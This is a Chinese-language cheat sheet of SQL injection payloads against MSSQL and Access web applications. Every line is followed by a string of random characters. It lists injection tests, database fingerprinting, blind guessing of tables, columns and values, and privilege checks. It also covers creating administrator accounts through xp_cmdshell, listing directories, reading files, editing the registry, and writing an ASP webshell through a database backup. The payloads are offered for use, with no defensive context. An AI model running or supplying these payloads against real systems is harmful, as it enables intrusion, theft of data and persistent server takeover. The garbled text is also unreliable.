1.判断是否有注入;and 1=1 ;and 1=2 s
P=$>@3
2.初步判断是否是mssql ;and user>0 R7)\wP*l5
(!b_o A8V
3.注入参数是字符'and [查询条件] and ''=' E :gS*tsY
`O~NT'Ed8
4.搜索时没过滤参数的'and [查询条件] and '%25'='
.'`7JU#{
DI9hy/T(
5.判断数据库系统 :Y? L*
`
=ocr8c
;and (select count(*) from sysobjects)>0 mssql b\6)whh
C]@v60I
;and (select count(*) from msysobjects)>0 access :r4]8X-
}"}
z7Xb0
So?.V4aD_
'u9,L FO
6.猜数据库 ;and (select Count(*) from [数据库名])>0 8H2zMIB
3k YVk
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 [tN^)c`s/
0*e)_l!
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 q%H`/~AYM
kg,t[Jl
9.(1)猜字段的ascii值(access) S8=Am7D]1
$ghAC
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 V[9#+l~#
6d4e~F
(2)猜字段的ascii值(mssql) Om%HrT
c}XuzgSY
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 2bJqZ,@
^O>G?a
10.测试权限结构(mssql) Th!.=S{Y5
T6/d[SH>
! z!lQ~
Y!3Mm*
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- hbZ]DRg
Qu 7#^%=
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ]V*ku%L0
>Xz=E0;^Ua
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ? PIq/[tk
hMcSB8 ?
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- WUC-*(
'eM90I%(
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ^Rel-=Z$B
^{ Kj{M22
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- [G.4S5FX.]
0<g;g%
;and 1=(select IS_MEMBER('db_owner'));-- =D&xw2
'A^ ;P]y
tx$i(
O"'.n5>:`
11.添加mssql和系统的帐户 R,Gr{"H
"hE/f~\
;exec master.dbo.sp_addlogin username;-- C(w?`]Qs
;exec master.dbo.sp_password null,username,password;-- |_<'qh
d3nx"=Cy0I
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- t=-t xnlr<
`zRE $O
;exec master.dbo.xp_cmdshell 'net user username password cImOZx
jCJbmEfo9@
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 3Jt7IM!9[
B~%'YQk
;exec master.dbo.xp_cmdshell 'net user username password /add';-- O?p8Gjf
g&79?h4UXQ
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- t h!$R
,5Vc
>rbHpLm1`
fPW|)e"
12.(1)遍历目录 ujlIWQU2mo
'7'*+sgi$
;create table dirs(paths varchar(100), id int) Mx-? &
,H_b@$]n8
;insert dirs exec master.dbo.xp_dirtree 'c:\' P4\{be>e
`&3hfiI}
;and (select top 1 paths from dirs)>0 For`rfR
|E&
Fe8
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) g431+O0K1
\tpJ
PZT]H?
rP5&&Hso
(2)遍历目录
<>|&%gmz
DGs=.U-=e
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- {S9't;%]
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 +%O_xqq
P^lzl:|
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 /mi9q
i8h(b2odQ
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 r>>4)<C7J
U~;Rzoe)q*
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 n]G_#
;
eT(/D/jan
r Jo8|
V`ODX>\
13.mssql中的存储过程 cWNZ +Q8Y
`6R.*hq
xp_regenumvalues 注册表根键, 子键 [lU0TDq
MD"a%H#p
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 bF 85T(G
)aV\=a |A
xp_regread 根键,子键,键值名 "mbjS(-eg
}NH\Q$ IU
;exec xp_regread fXL&?~fS
Q|gw\.]$&[
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 X@["Jjp
Z+gG.|"k
xp_regwrite 根键,子键, 值名, 值类型, 值 '8k{\>
'7Ad:em
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 A^m]DSFOO
;^[VqFpeS
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 UQ7E7yY#
FnZMW, P
xp_regdeletevalue 根键,子键,值名 =XRTeIZ
&Zzd6[G+
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 +vDEDOS1
C >@T+xOZ
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ak SUk)}e
sI/]pgt2
\zdY$3z
;0Vyim)S]
14.mssql的backup创建webshell rXIFCt8J
k=nN#SMn
use model *y}<7R
$]
gwaJ:
create table cmd(str image); p)x*uqSd
H'2J! /V
insert into cmd(str) values (''); ZaNZUVBh
kVqRl%/3Tb
backup database model to disk='c:\l.asp'; f;PPB@ :`$
wt@Qjbqd8
!,SGKLs.m
Q;V*M
15.mssql内置函数 p{V_}:|=Q
L~Hl?bK
;and (select @@version)>0 获得Windows的版本号 `wMHjcUP
MrW*6jY@
;and user_name()='dbo' 判断当前系统的连接用户是不是sa <FkoWN
@nh*H{
;and (select user_name())>0 爆当前系统的连接用户 O BCH%\;g
<P%<EgOE
;and (select db_name())>0 得到当前连接的数据库 FX->_}kL=
2!w5eWl,
i"B q*b@
9s.x%m,
16.简洁的webshell Mnv2tnU]
w !5@PJ)~U
use model D*nNu]|j
.uoQ@3
create table cmd(str image); 7A@iu*t
b|rMmx8vA
insert into cmd(str) values (''); dj;Zzt3
ZH1W#dt`[
backup database model to disk='g:\wwwtest\l.asp';